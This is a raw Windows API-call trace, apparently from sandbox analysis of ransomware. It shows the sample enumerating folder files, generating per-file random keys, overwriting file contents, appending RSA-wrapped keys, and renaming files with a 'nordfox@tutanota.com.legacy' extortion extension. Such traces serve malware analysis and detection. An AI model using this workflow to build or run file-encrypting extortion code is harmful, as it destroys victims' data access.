[0104.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0104.987] FindNextFileW (in: hFindFile=0x5a0928, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d577ca, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0104.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0104.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0104.987] GetLastError () returned 0x0 [0104.987] SetLastError (dwErrCode=0x0) [0104.987] GetLastError () returned 0x0 [0104.987] SetLastError (dwErrCode=0x0) [0104.987] GetLastError () returned 0x0 [0104.987] SetLastError (dwErrCode=0x0) [0104.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c48 [0104.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0104.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0104.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4d8 [0104.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0da8 [0104.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0da8 | out: hHeap=0x520000) returned 1 [0104.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20228 [0104.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20228 | out: hHeap=0x520000) returned 1 [0104.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4d8 | out: hHeap=0x520000) returned 1 [0104.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c48 | out: hHeap=0x520000) returned 1 [0104.987] FindNextFileW (in: hFindFile=0x5a0928, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0104.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0104.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0104.987] GetLastError () returned 0x0 [0104.988] SetLastError (dwErrCode=0x0) [0104.988] GetLastError () returned 0x0 [0104.988] SetLastError (dwErrCode=0x0) [0104.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0104.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0104.988] GetLastError () returned 0x0 [0104.988] SetLastError (dwErrCode=0x0) [0104.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0104.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0104.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56da28 [0104.988] FindNextFileW (in: hFindFile=0x5a0928, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0104.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0104.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0104.988] GetLastError () returned 0x0 [0104.988] SetLastError (dwErrCode=0x0) [0104.988] GetLastError () returned 0x0 [0104.988] SetLastError (dwErrCode=0x0) [0104.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0104.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0104.988] GetLastError () returned 0x0 [0104.988] SetLastError (dwErrCode=0x0) [0104.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ba0 [0104.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ba0 | out: hHeap=0x520000) returned 1 [0104.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0104.988] FindNextFileW (in: hFindFile=0x5a0928, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d577ca, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8d577ca, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8d577ca, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0104.988] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0104.988] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0104.988] GetLastError () returned 0x0 [0104.988] SetLastError (dwErrCode=0x0) [0104.988] GetLastError () returned 0x0 [0104.988] SetLastError (dwErrCode=0x0) [0104.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0104.989] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0104.989] GetLastError () returned 0x0 [0104.989] SetLastError (dwErrCode=0x0) [0104.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0104.989] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0104.989] FindNextFileW (in: hFindFile=0x5a0928, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0104.989] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0104.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0104.989] GetLastError () returned 0x0 [0104.989] SetLastError (dwErrCode=0x0) [0104.989] GetLastError () returned 0x0 [0104.989] SetLastError (dwErrCode=0x0) [0104.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0104.989] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0104.989] GetLastError () returned 0x0 [0104.989] SetLastError (dwErrCode=0x0) [0104.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f58 [0104.989] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f58 | out: hHeap=0x520000) returned 1 [0104.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5568b0 [0104.989] FindNextFileW (in: hFindFile=0x5a0928, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0104.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0104.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x583f38 [0104.989] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0104.989] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x583f38 | out: pbBuffer=0x583f38) returned 1 [0104.989] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0104.989] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1053\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0104.990] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0104.990] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0104.990] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0104.990] CreateFileW (lpFileName="\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0 [0104.990] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=17752) returned 1 [0104.990] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4558) returned 0x5c0f88 [0104.990] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4558) returned 0x5c54e8 [0104.990] ReadFile (in: hFile=0x4d0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x4558, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x4558, lpOverlapped=0x0) returned 1 [0105.111] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=-17752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.111] WriteFile (in: hFile=0x4d0, lpBuffer=0x5c54e8*, nNumberOfBytesToWrite=0x4558, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4558, lpOverlapped=0x0) returned 1 [0105.111] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.111] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c54e8 | out: hHeap=0x520000) returned 1 [0105.111] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4558 [0105.111] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.111] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.111] WriteFile (in: hFile=0x4d0, lpBuffer=0x583f38*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.112] WriteFile (in: hFile=0x4d0, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.112] CloseHandle (hObject=0x4d0) returned 1 [0105.112] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583f38 | out: hHeap=0x520000) returned 1 [0105.112] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0105.112] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1053\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.113] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0105.113] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0105.113] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5568b0 | out: hHeap=0x520000) returned 1 [0105.113] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0105.113] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0105.113] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0105.113] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0105.113] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0105.113] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1053\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0105.114] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0105.114] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0105.114] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0105.114] CreateFileW (lpFileName="\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0 [0105.114] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=77680) returned 1 [0105.114] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12f70) returned 0x5c0f88 [0105.114] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12f70) returned 0x2f20048 [0105.116] ReadFile (in: hFile=0x4d0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x12f70, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x12f70, lpOverlapped=0x0) returned 1 [0105.277] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=-77680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.277] WriteFile (in: hFile=0x4d0, lpBuffer=0x2f20048*, nNumberOfBytesToWrite=0x12f70, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f20048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12f70, lpOverlapped=0x0) returned 1 [0105.278] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f20048 | out: hHeap=0x520000) returned 1 [0105.283] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12f70 [0105.283] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.283] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.284] WriteFile (in: hFile=0x4d0, lpBuffer=0x584b98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.284] WriteFile (in: hFile=0x4d0, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.284] CloseHandle (hObject=0x4d0) returned 1 [0105.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584b98 | out: hHeap=0x520000) returned 1 [0105.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0105.285] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1053\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0105.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0105.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0105.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0105.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584358 [0105.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0105.286] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584358 | out: pbBuffer=0x584358) returned 1 [0105.286] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0105.286] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1053\\eula.rtf", dwFileAttributes=0x80) returned 1 [0105.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d978 [0105.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0105.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0105.287] CreateFileW (lpFileName="\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0 [0105.287] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3865) returned 1 [0105.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf19) returned 0x5c0f88 [0105.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf19) returned 0x5c1eb0 [0105.287] ReadFile (in: hFile=0x4d0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0xf19, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0xf19, lpOverlapped=0x0) returned 1 [0105.424] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=-3865, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.424] WriteFile (in: hFile=0x4d0, lpBuffer=0x5c1eb0*, nNumberOfBytesToWrite=0xf19, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c1eb0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf19, lpOverlapped=0x0) returned 1 [0105.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1eb0 | out: hHeap=0x520000) returned 1 [0105.425] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf19 [0105.425] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.425] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.425] WriteFile (in: hFile=0x4d0, lpBuffer=0x584358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.426] WriteFile (in: hFile=0x4d0, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.426] CloseHandle (hObject=0x4d0) returned 1 [0105.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584358 | out: hHeap=0x520000) returned 1 [0105.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0105.426] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1053\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0105.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0105.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0105.454] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0105.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0105.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0105.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0105.454] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d577ca, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a09a8 [0105.454] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0105.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0105.455] GetLastError () returned 0x0 [0105.455] SetLastError (dwErrCode=0x0) [0105.455] GetLastError () returned 0x0 [0105.455] SetLastError (dwErrCode=0x0) [0105.455] GetLastError () returned 0x0 [0105.455] SetLastError (dwErrCode=0x0) [0105.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670e0 [0105.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0105.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0105.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d550 [0105.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0de8 [0105.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0de8 | out: hHeap=0x520000) returned 1 [0105.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0105.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0105.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d550 | out: hHeap=0x520000) returned 1 [0105.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670e0 | out: hHeap=0x520000) returned 1 [0105.455] FindNextFileW (in: hFindFile=0x5a09a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d577ca, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0105.455] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0105.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0105.455] GetLastError () returned 0x0 [0105.455] SetLastError (dwErrCode=0x0) [0105.455] GetLastError () returned 0x0 [0105.455] SetLastError (dwErrCode=0x0) [0105.455] GetLastError () returned 0x0 